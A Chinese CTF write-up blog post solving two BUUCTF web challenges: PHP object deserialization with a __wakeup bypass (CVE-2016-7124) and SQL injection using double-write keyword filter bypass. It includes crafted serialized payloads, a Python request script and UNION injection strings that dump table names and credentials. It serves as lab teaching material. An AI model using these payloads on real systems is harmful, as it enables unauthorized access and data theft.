BUUCTF (WEB)二篇

blog 339

[极客大挑战 2019]PHP

进入到网页之后,发现页面是一只小猫。很有意思哈哈哈哈。

看到页面上的文字提示,可以发现页面可能存在备份文件

BUUCTF (WEB)二篇

而对于网站备份文件,一般名为www.zipwww.rar以及www.tar.gz

我们可以使用dirsearch工具扫描一下。但是我这里扫的时候,发现返回409,考虑可能对BUU服务器做的限制吧。

盲猜是www.zip

/www.zip

果然下载成功,得到一个压缩包,解压之后文件如下:

BUUCTF (WEB)二篇

代码审计

我们先看flag.php文件中的内容:

发现得到flag哈哈哈哈哈。我知道这个不是flag。但是我还想去试下,发现flag错误!!!!!

BUUCTF (WEB)二篇

接着,我们去查看index.php文件地内容:

BUUCTF (WEB)二篇

可以看到它引入了class.php文件并且以GET方法接受了select参数。之后对我们传入select参数的值进行反序列化

在PHP的类中,我们称变量为属性,称函数为方法

我们查看class.php文件的内容。如下:

<?php
include 'flag.php';  // 引用flag.php页面。


error_reporting(0);  // 关闭错误显示。


class Name{  // 定义Name类 
    private $username = 'nonono';  // 将'nonono'赋值给私有属性$username
    private $password = 'yesyes';  // 将'yesyes'赋值给私有属性$password


   // 定义 __construct 魔术方法
    public function __construct($username,$password){
        // 将Name类的username属性的值设置为变量$username的值
        $this->username = $username;
        // 将Name类的username属性的值设置为变量$username的值
        $this->password = $password;
    }
 
    // 定义 __wakeup魔术方法 
    function __wakeup(){
        // 将Name类中的username属性的值设置为字符串类型的guest
        $this->username = 'guest';
    }
    
    // 定义__destruct()魔术方法
    function __destruct(){
        if ($this->password != 100) {
           // 如果Name类中的password属性的值不是100则执行下面代码。
            echo "</br>NO!!!hacker!!!</br>";  // 页面输出 NO!!!hacker!!!
            echo "You name is: "; // 页面输出一句话
            echo $this->username;echo "</br>";  // 页面输出当前Name类中的username属性的值
            echo "You password is: ";    
            echo $this->password;echo "</br>";  // 页面输出当前Name类中的username属性的值
            die(); // 退出程序执行
        }
        // 如果Name类中的password属性的值不是100 则程序还没有走到这里就退出执行了。
        if ($this->username === 'admin') {
            // 如果Name类中的username属性的值为 admin 则打印flag
            global $flag;
            echo $flag; // 输出flag
        }else{
            // 如果如果Name类中的username属性的值不为admin 则输出下面这句话。
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();  // 退出程序执行

            
        }
    }
}
?>

序列化反序列化概念介绍

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

魔术方法简单学习

下面介绍几个魔术方法:

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__wakeup:反序列化恢复对象之前调用该方法



__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发

魔术函数有个特点:不需要我们手动调用。它会在某些情况下,自动调用。

而对于本道题,我们只需要先了解前三个魔术函数即可。

下面我们学习一下前三个魔术方法:

<?php 

    class Name{
        public $username = '';
        public $password = '';

        // __destruct
        public function __destruct(){
            echo '__destruct<br>';
        }

         // __wakeup
        public function __wakeup(){
            echo "__wakeup";
        }

        // __construct
        public function __construct(){
            echo '__construct<br>';
        }

        public function printData(){
            echo 'your username: '.$this->username. ' your password: '.$this->password."<br>";
        }


    }

$obj = new Name(); // 创建一个对象  __construct魔术函数会被调用

// 设置数据
$obj->username = 'x1ong';
$obj->password = 'test';

$serialized = serialize($obj); // 序列化一个对象 __sleep魔术函数会被调用 但是我们这里没有指定 

// echo $serialized; // O:4:"Name":2:{s:8:"username";s:5:"x1ong";s:8:"password";s:4:"test";}
$unserialized = unserialize('O:4:"Name":2:{s:8:"username";s:5:"x1ong";s:8:"password";s:4:"test";}');
$unserialized->printData(); // 

// 对象被销毁的时候执行__destruct
// 对象被销毁的时候执行__destruct

?>
BUUCTF (WEB)二篇

以上为测试代码的执行效果。

通过上述执行结果可以发现,也是调用了__construct魔术函数。因为我们先创建了对象,此时__construct魔术方法也被调用了因此得以执行。所以它第一个执行的。

serialize() 函数用于序列化对象或数组,并返回一个字符串。

而我们使用unserialize()对一个序列化内容进行反序列化的时候,__wakeup方法会被调用。unserialize()就是对单一的已序列化的变量进行操作,将其转换回 PHP 的值

__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)会调用这个方法。

理清思路

我们分析class.php的内容发现,必须满足两个条件才会打印出flag的内容,一是password的值必须为100。二是username的值必须为admin。但是在反序列化的时候,即使用unserialize()函数的时候,会自动的调用魔术方法__wakeup,而其会将我们的username变为guest。我们要绕过这个限制。

构造序列化

<?php 

class Name{
	private $username = 'admin';  // 将$usernmae属性赋值admin 
	private $password = 100;   // 将$password属性赋值100
}

$obj  = new Name();  // 创建这个对象

echo serialize($obj);  


// 序列化之后的字符串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

?>

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。

\0则是ASCII为0的字符是一个不可见的空字符(Null)。因此我们直接复制的时候会丢失这个空字符串。但是我们可以使用url编码%00代替。

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

序列化后的格式讲解:

O 表示一个对象
4 表示类名称的长度
Name 类的名称
2 表示类中有2个属性
{} 里面为类中的属性值
s  表示string类型对象
14 表示属性的长度(其中包含ASCII码为0的字符 不可见字符)
\0 表示ASCII码为0的字符(不可见的) 我这里使用url编码%00表示了
Name 表示类名 因为private声明的属性为私有属性所以要加上类名
\0 表示ASCII码为0的字符(不可见的)
username 表示属性名 
s  表示属性值的类型  string类型
5  表述属性值的长度 
admin 表示属性的值
后面的与前面{}里面的基本一致。只是i表示integer。整型。

构造payload:

/?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

此时你传上去会发现。(A) 啥也没有。

BUUCTF (WEB)二篇

这是为什么呢?刚刚审计class.php源码发现,Name类中有__wakeup魔术方法,此方法会修改我们username的值为guest。而和这个函数实在我们反序列化的的时候调用的。即使用unserialize()函数的时候。也就是我们在index.php页面传入select参数的时候。它会覆盖我们的username=admin。而此时username的值为guest。而我们的password的值还是100,因此页面什么都不会输出。

那么我们需要绕过__wakeup魔术方法。使其不执行。

__wakeup方法绕过

漏洞信息:

CVE-2016-7124

影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞成因:

如果类中存在__wakeup方法,调用 unserilize() 方法恢复对象之前则先调用__wakeup方法,

但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 

下面看示例:

BUUCTF (WEB)二篇

可以发现,当前我们的序列话之后的属性个数为2。则执行了__wakeup方法。

继续往下看:

BUUCTF (WEB)二篇

但是当我们将属性的个数修改为3之后。发现并没有执行__wakeup方法。而是执行了两次__destruct,代表我们的对象被调用了两次。一次是创建对象的时候,二是反序列化之后的时候

解题

构造Payload:

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
BUUCTF (WEB)二篇

这种是通过将ASCII为0的字符进行url编码之后提交的payload。对于遇到ASCII为0的字符的我们还可以使用\0代替。不过其必须使用Python进行提交。虽然是Python程序进行提交,但是还是需要绕过__wakeup方法的。只是将%00换成了/0而已。

import requests

url = 'http://8835f6e4-ac55-4c8c-8639-173e50454437.node4.buuoj.cn:81/' // 这里替换为你的题目地址
req = requests.get(url+'/?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')

print(req.text)

运行结果:

BUUCTF (WEB)二篇
flag{9a2ba5a6-77b4-4ea3-8bca-5e78eb2f206c}

[极客大挑战 2019]BabySQL

进入到页面后,发现依旧是登录框。

先尝试使用万能用户名登录,发现or被过滤了。于是就换成了||。也是逻辑或,只是表现形式不同。

username: admin' || 1 = 1 #
password:随便输
BUUCTF (WEB)二篇

发现登录成功,但是没啥用。并没有flag。

解题

以下的payload都是在用户名哪里输入的。密码则是随便填

admin' order by 3 #   
BUUCTF (WEB)二篇

可以发现,orby都被替换掉了,这是尝试使用双写绕过。构造payload:

admin' oorrder bbyy 3 #         登录成功
admin' oorrder bbyy 4 #         页面报错提示未知的列4 错误见下图:
BUUCTF (WEB)二篇

那么我们可以得知当前表的列数为3列。

知道列数之后,尝试使用union联合查询注入

admin' union select 1,2,3 # 
BUUCTF (WEB)二篇

发现unionselect被过滤,这里继续使用双写绕过

admin' ununionion selselectect 1,2,3 #    登录成功。
BUUCTF (WEB)二篇

但是页面并没有我们select 1,2,3的查询结果,猜测可能是由于后端代码限制。只允许显示两行

我们这里将admin修改为test,使union前面的select查询为空。则页面会输出后者查询。

test' ununionion selselectect 1,2,3 # 
BUUCTF (WEB)二篇

发现页面,返回23,我们将payload中的2和3处修改为我们的想要查询的数据即可

先爆下当前使用的数据库和登录的用户。

test' ununionion selselectect 1,database(),user() # 
BUUCTF (WEB)二篇

发现依旧是geek数据库哈哈哈哈,只是在道题与前面的sql注入。增加了过滤。果然是页面上所说的:

BUUCTF (WEB)二篇

我们先获取当前数据库下的所有表,因为之前的那道sql注入题,flag就在当前数据库下的某个表中。

test' ununionion selselectect 1,group_cocat(table_name),user() from information_schema.tables where table_schema=database() # 
BUUCTF (WEB)二篇

发现报错了,可能是因为information中的or被过滤掉了,从而导致语法出错。还是使用双写绕过:

test' ununionion selselectect 1,group_cocat(table_name),user() from infoorrmation_shema.tables where table_schema=database() # 
BUUCTF (WEB)二篇

依旧报错,猜测可能是form被过滤掉了,使用双写绕过:

test' ununionion selselectect 1,group_cocat(table_name),user() frfromom infoorrmation_shema.tables where table_schema=database() # 
BUUCTF (WEB)二篇

还是报错,猜测可能是where别过滤掉了。因为前面报错信息中的table_schema是正常的,应该没有被过滤。继续双写:

test' ununionion     selselectect 1,group_concat(table_name),user() frfromom infoorrmation_schema.tables whwhereere table_schema=database();#
BUUCTF (WEB)二篇

发现当前数据库下有两张表,分别是b4bsqlgeekuser。和[极客大挑战 2019]LoveSQL中l0ve1ysq1的表名,变成了并b4bsql。啊哈哈哈哈哈哈,这就是写博客的好处嘛!!!所以字段名可能还是一致的。不过我这里还要去爆一虾。

b4bsql表的列(字段)名:

test' ununionion     selselectect 1,group_concat(column_name),user() frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';#
BUUCTF (WEB)二篇

发现字段名果然还是id,username,password。洗不洗出题人太懒了哈哈哈哈

geekuser表的列(字段)名:

test' ununionion     selselectect 1,group_concat(column_name),user() frfromom infoorrmation_schema.columns whwhereere table_name='geekuser';#
BUUCTF (WEB)二篇

发现和上个一样。

那么我们直接获取表的数据

构造payload:

test' uniunionon selselectect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom geekuser #
BUUCTF (WEB)二篇

发现并没有flag

尝试获取另一张表的数据:

test' uniunionon selselectect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom b4bsql #
BUUCTF (WEB)二篇

发现了flag。为了能看清,我把字体颜色修改为了红色。flag没有截全是因为数据太多了。另一半在下一行。所以就没截图了。

flag{83bab5a0-a441-4302-988b-dcf017cfa67a}

总结

这道题主要对一些特殊字符进行了替换。将其替换为空。我们使用双写绕过就好啦。

笔者在做题中发现过滤了如下字符:

or 
union
select 
from 
where 

可能有的过滤字符笔者没有发现。

[护网杯 2018]easy_tornado

暂不更新

分享